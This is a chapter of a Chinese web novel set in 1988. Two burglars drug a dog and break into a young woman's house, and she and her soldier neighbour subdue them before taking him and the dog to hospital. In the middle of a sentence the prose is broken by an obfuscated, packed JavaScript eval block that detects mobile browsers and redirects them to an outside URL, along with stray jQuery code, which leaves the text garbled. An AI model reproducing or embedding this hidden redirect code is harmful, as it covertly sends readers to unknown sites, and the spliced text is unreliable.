28. 第 28 章
作品:《这苦情剧长姐我不做了》 眼皮上长着一个大痦子的蒙面男一手持刀,弯着腰挨着墙偷偷在小院子里挪动。
后面还跟着一个瘦弱的男人。
痦子男说:“这家院子这么荒凉,啥东西都没有,真是有钱人吗?该不会是你骗老子的吧。”
“不敢,不敢,我怎么会骗张哥啊,我真听我爹说过这家只有一个女人,一下子出了好几万全款买下这座四合院。”
“妈的,就信你一次。要是没弄出什么好货,你欠的赌债可......”
瘦弱男向天伸出三根手指,发誓,“绝对没问题的张哥。”
痦子男扭头对瘦弱男说:“你在这守着,注意外面有没有人,我去里面看看。”
瘦弱男立稳脚跟,歪着肩膀低着头,蹲在墙头,四处观望,“放心吧哥,保证完成人物。”
因着昨晚睡的觉很充足,赵汝兰今个干活类便早早强迫自己躺下睡觉,没两个小时幽幽转醒,透着窗帘缝隙处的月光看了一眼手表,三点三十五。
赵汝兰翻身面对着墙,数羊。一只羊,两只羊,三只羊......不对!外面有东西进来了!
窗帘缝隙处一会亮一会暗,有人正对着窗户在观察里面。赵汝兰两只手使劲地拉住披在身上的床单,半张着嘴呼哧呼哧地喘着气。
慢慢调整自己的呼吸,别怕,放松下来。还好她在睡觉前将正屋里的门给反锁上,要是外面那人想强迫进屋首先要解决掉门锁的这一关。
趁着闭上双眼慢慢转身,吱呀——木床发出一声响,赵汝兰僵住身子不敢继续动作。好一会才渐渐放松,半眯着双眼朝窗子外看去,月光大亮,窗口没人。
就现在,赵汝兰扯出枕头塞进床单里假装有人还躺在床上,一手拿起床边桌子上的剪刀,蹑手蹑脚的蹲在正房门后,一旦劫匪破门而入自己也好趁机偷袭。
她不担心外面的东西,本来就没几样,最重要的全在这屋里。要是有手机一个电话的事就能搬来救兵,可惜。
1988年已经出现大哥大的身影,但售价两三万元仍属于高奢用品,如今刚买完房子,兜里没剩几个子,大哥大还是别想了。BB机倒是有机会买一个。
赵汝兰表情严肃,心里的思维发散,还有时间想什么时候能用上BB机。手里捏着剪刀,躲在阴影里,沉下心来听外面的一举一动。
知了——知了——
外头蝉鸣声使得赵汝兰感到一股心焦,背后汗水湿透,大黄啊大黄,你要是能醒来嗷嗷两嗓子叫醒周围邻居,以后你吃的肉我全包了。
“沙沙”细微两声翻动门锁的声音传入赵汝兰的耳朵。
外头瘦弱男人咧着嘴,吸溜着,嘴里不知道是啥嚼啊嚼。背后突然被人一拍,打了个激灵,立刻扭头,“哥,哥你咋啦,找着什么好东西没。”
痦子男眼神凶狠,啐了一口,“穷光蛋,隔壁两间没上锁,什么好东西都没有,等会我去正房将锁撬开,估计好东西都在那里面。你在这好好望风。”
隔壁,大黄吃下昏迷药,直板板的躺在院子中央。
屋里秦豫北轻声唤了两下大黄,没狗应答。直起身坐在床上,没有拉开床头的灯,他以前执行任务时早就锻炼了一副夜视能力。
平日里一直和他一个屋睡觉的大黄,此刻并没有躺在床脚。这不符合大黄的习惯,无论什么时候大黄无论跑的多远总会在晚上睡觉前回家躺在屋里面,要是不给它进来就会一直挠门,怎么今日这么安稳。
多年当兵的警觉性迫使他立刻起身查看情况。
一出正房门便看见一狗躺在中央青石板上,秦豫北眼色暗沉,隐隐有怒气飙升,三两步走到大黄身边,抱起狗头摇晃,狗子依旧紧闭双眼。手心托住嘴筒子,依稀还能感觉到呼吸。
秦豫北立刻明白狗子是被人用药给迷昏了,果然不远处有半块馒头,上面还有大黄的牙印。
他立即回房找出剩下的双氧水,稀释后,用勺子掰开嘴筒子强行灌下去。
五分钟后,尚未消化完全的馒头被吐出来,秦豫北将狗子侧卧放在地上,缓缓的大黄的呼吸变的匀畅舒缓,眼睛睁开,圆溜溜的寻找主人的身影。
怎么大黄会突然被人给下药,秦豫北十分清楚自家没进任何人,只有他自己,那么唯一的可能便是隔壁赵汝兰家。
秦豫北一脸铁青,眼睛一动不动的看向隔壁,随后将大黄抱进屋里,自己拿出防身工具,先是悄悄从后院爬上自家房顶,从屋顶上观察赵汝兰家院子里的情况。
门口蹲着一个放哨的,那么屋里至少有一人,心里咯噔一下,耳朵里“嗡——”直响,仿佛有个尖锐的哨声刺破耳膜。
利落的翻身下屋顶,又脚步轻盈从后院翻过围墙,落在赵汝兰院子里,一步,两步......秦豫北靠在墙角隐没在阴影里。
“咚——”一声,放哨的瘦弱男子被一棍敲在后脑勺晕过去,秦豫北接住晕倒的身体,用随身带的绳子将瘦弱男人捆起来。
想想又脱掉瘦弱男人的鞋子,将两块油光发亮的臭袜子团在一起塞进男人嘴里。
突然,正房里传出一声搪瓷盆砸落在地的声音,随之而来的是一声尖锐的中年男子声音却又突然消失不见。
秦豫北心脏怦怦跳,执行过那么多次危险的任务从没有哪次能像今天这般,急速跑向正房,果然正房门口大开,只是屋里没开灯一片漆黑饶是秦豫北再好的视力也无法分辨里面是什么情况。
背靠着墙,秦豫北握紧手中的棍子,霎时间一道银光从面前闪过,是一把锋利的剪刀。身子侧身一扭躲过攻击,左手立刻擒住对面握着武器的手腕。
“是我。”
一道女生响起。
是赵汝兰的声音,秦豫北这才立刻松手,意识到双方都认错了人。
“啪”一声电灯泡被拉开,一瞬间黑漆漆的屋子里亮堂起来。地上躺着一个男人,小声呻吟,小腿处被剪刀刺中,此刻正流血不止,铁锈味浸满整个屋子。
秦豫北松开棍子,任凭它掉在地上,“你没事吧。”担
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029375|177441||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忧的目光不着痕迹的看向赵汝兰。
赵汝兰背对着电灯,黄色的灯光晕洒在发丝,她面容冷酷盯着躺在地上的痦子男,抬眼瞧见秦豫北的那一刻,瞬间冰山消融,睁圆了眼睛,半张着嘴,笑意从眼角荡漾开来,右脸颊出露出个小小的酒窝。
赵汝兰:“你没事吧?你怎么过来了?你腿还好吗?”
一连三个发问让秦豫北不知道改回答哪一个好。
赵汝兰见秦豫北嘴唇苍白,头上冷汗珠大颗大颗的滑落,向下一看果然,他那受伤的腿不正常的向外折去。
“你快坐下。”
赵汝兰将躺在地上的痦子男踢到一边,一手搀扶着秦豫北坐在床边。
“你等着我这就找人把你拉到医院。”
赵汝兰跨过门槛,被身后秦豫北的声音叫住“先把地上那男的绑起来。外面还有一个人被我打晕了。”她点点头,意识到自己太过着急,答应一声,从右厢房拿出一条麻绳牢牢绑住痦子男的双脚和双手。
赵汝兰在巷子里一连敲了好几家门,都没人开。只有尽头一对老夫妻起床给赵汝兰开了门,这才陆陆续续有几家男人起身查看外面的情况。
她长话短说,简单说明一下发生了什么,借了老夫妻的板车,推着往家走,身后跟着三三两两睡懵了的人。
秦豫北被搀扶着躺在板车上,有人自告奋勇帮忙在前面拉车,赵汝兰就在后面推着。
“还有大黄,它被人下药了,一起送到医院。”秦豫北叫停板车,一脸严肃。
两分钟没到赵汝兰就抱着一条虚弱的大黄狗放到秦豫北身边。
三四个人合作,在二十分钟内将秦豫北和大黄送到医院。
夏天天亮的早,五点左右已经能看清周围事物。此刻的医院安安静静,只有急诊室里还亮着灯,“医生,医生这有一个病人腿受伤了。”
赵汝兰最先冲进急诊室,叫醒正在值班的医生。
半个小时过后。
“病人这是二次受伤,必须要卧床休息。谁是家属记得去缴费,先住院三天之后在家休息,千万不要下地走路。不然下次腿不一定能恢复。”穿着白大褂,头顶稀疏没几根头发的医生说道。
摘下口罩,喝口提神的茶叶,含在嘴里,感觉脑袋清醒了便继续说:“那条大黄狗也给灌了药,它主人前期催吐干的好。没什么大问题,只是以后给狗看病记得去找兽医,这次是因为还早没什么病人,以后可不准了。”
赵汝兰捏着账单,“明白,谢谢医生。”朝医生弯腰致谢。
等全部人离去,恐惧感一瞬间淹没她,赵汝兰后知后觉的察觉到自己今晚经历了一场入室抢劫。要是她今晚睡死过去没发现有人进来,要是秦豫北没将放哨的解决掉,那么此刻躺在医院里的可能就是她了。
甚至可能就此一睡不醒,那么自己真的会回到现实世界吗。
不敢再细想下去。
赵汝兰去一楼将费用缴清,这才想起家里还有那两个被绑起来的劫匪。

